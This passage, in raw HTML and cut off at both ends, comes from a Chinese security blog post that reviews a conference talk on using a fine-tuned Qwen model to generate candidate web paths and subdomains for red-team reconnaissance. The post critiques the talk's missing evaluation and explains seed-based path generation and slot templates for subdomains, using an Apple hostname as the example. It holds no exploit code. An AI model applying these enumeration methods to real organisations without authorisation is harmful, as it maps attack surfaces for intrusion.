src="https://wechat2rss.xlab.app/img-proxy/?k=55343750&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F8qOq10zFicMAaeicHBGy6e7gvxR8VdBEh5a6VqlzEpYc07ia7mW6REL4c6pG4Sltkw4apebTRAMeLHJz4BicK5JURhyph5Zm8yLSNib218NnBLLE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n570" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/1gmq2f.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="路径模型训练数据规模" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000428" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=fcd28cb8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F8qOq10zFicMDEe2ENtuJZyIjOeoibKwibUVVHYKRzicIPkgd5ZCw4icg4UJQSDgAClxJ8nonxicPJL2ECGOz4LJsDmSibj8ibJdgwDHWOLprmJ9uGMk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n571" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">数字看着很大，但 PPT 没交代几个决定可信度的问题：数据从哪来、是否授权、是否去重、怎么排除 wildcard 和历史失效资产、训练集与测试集是否按根域隔离、输出是否只是训练数据复现。最关键的是，报告没给出与 SecLists、ffuf、Amass、Subfinder 等工具在相同请求预算下的正式对照，没有 precision、recall、真实命中率、误报率和成本曲线。</span></span></p><p cid="n572" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">所以这项研究证明了&#34;方法值得继续做&#34;，还没证明&#34;这套模型已全面超过传统字典&#34;。</span></span></p><hr style="box-sizing: content-box;height: 2px;margin: 16px 0px;border: 0px;padding: 0px;background-color: rgb(231, 231, 231);overflow: hidden;"/><h2 cid="n574" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">四种模式：从&#34;扩写词表&#34;走向&#34;拆解目标语法&#34;</span></span></h2><p cid="n575" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第 73—99 页是整份材料最适合护网实战理解的部分。</span></span></p><h3 cid="n576" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">0x0：从已知路径生成同站候选</span></span></h3><p cid="n577" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">输入是一组已在目标上观察到的路径，比如 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">/login</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">/cart</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">/checkout</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">/products/shoes</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">。模型根据训练数据里的共现和结构，生成 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">/account</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">/orders</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">/wishlist</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 等更可能与它们同时存在的路径。</span></span></p><p cid="n578" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/v5fy2u.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="基于种子的路径生成器" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000426" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=aef843e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F8qOq10zFicMBAiaq99jmea0icdBjjoYPbtRia8u9yJQhbgBKeJVeo8eXiafW7SuPyCdrvSlictVtO8eo626Pfkdj7OIvlQibLiaA6nCoTwIVcCHyO8Y%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n579" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第 78 页的终端实际是内部生成 61 条原始序列，命令参数 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">-c 10</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">，最终只展示 10 条。多条输出把 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">defcon33.com</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 塞进路径，或者重复域名片段——连&#34;格式合理的路径候选&#34;都未必算得上。这比&#34;没命中证据&#34;更能说明：生成数量不等于候选质量。</span></span></p><p cid="n580" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">这一模式适合已经从 JS、Sitemap、OpenAPI 残片或代理历史中拿到一小批真实路径时用。弱点也明显：输入只有通用电商路径的话，模型大概率只会吐出另一批通用电商词。没有目标专属样本，就谈不上目标专属推断。</span></span></p><h3 cid="n581" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">0x1：从已知子域生成相邻命名</span></span></h3><p cid="n582" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">输入是目标的一组已知子域名。原始 Qwen 可能给 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">admin</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">blog</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">mail</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">support</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">；微调模型会更偏 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">dev-api</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">stage</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">staging.api</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 等研发环境组合。</span></span></p><p cid="n583" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/pqsqp3.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="基于种子的子域名生成器" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000429" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=2024cd42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F8qOq10zFicMAGFCbN4dOqrGPZW3sYWu01CqoqbvjpQfl1Yu3Gib69lPdbSNWbuNacjvqV0nkdYaWLLjicnvZzZDUT8vI2ynoPiayxNlCrafJtI8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n584" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">这更像是&#34;依据目标种子做条件化生成和候选排序&#34;，不是为每个目标重新训练模型，更不是凭空发现子域。护网时间有限、目标有 DNS 限速或大规模爆破容易出噪声时，先取 Top-K 高相关候选做验证，可能比把整个互联网词表打一遍划算。</span></span></p><h3 cid="n585" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">0x2：从一个子域名拆出产品、区域和集群槽位</span></span></h3><p cid="n586" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">这一段是整份报告里最骚的结构化思路。</span></span></p><p cid="n587" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">输入只有一个真实风格的子域名：</span></span></p><p cid="n588" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">activateiphone-use1-cx02.apple.com</span></code></span></p><p cid="n589" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">Agent 1 不急着生成，先拆结构：</span></span></p><pre spellcheck="false" lang="text" cid="n590" mdtype="fences" style="white-space:pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">activate [PRODUCT] - use [REGION_ID] - cx [CLUSTER_ID]</span></span></pre><p cid="n591" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica 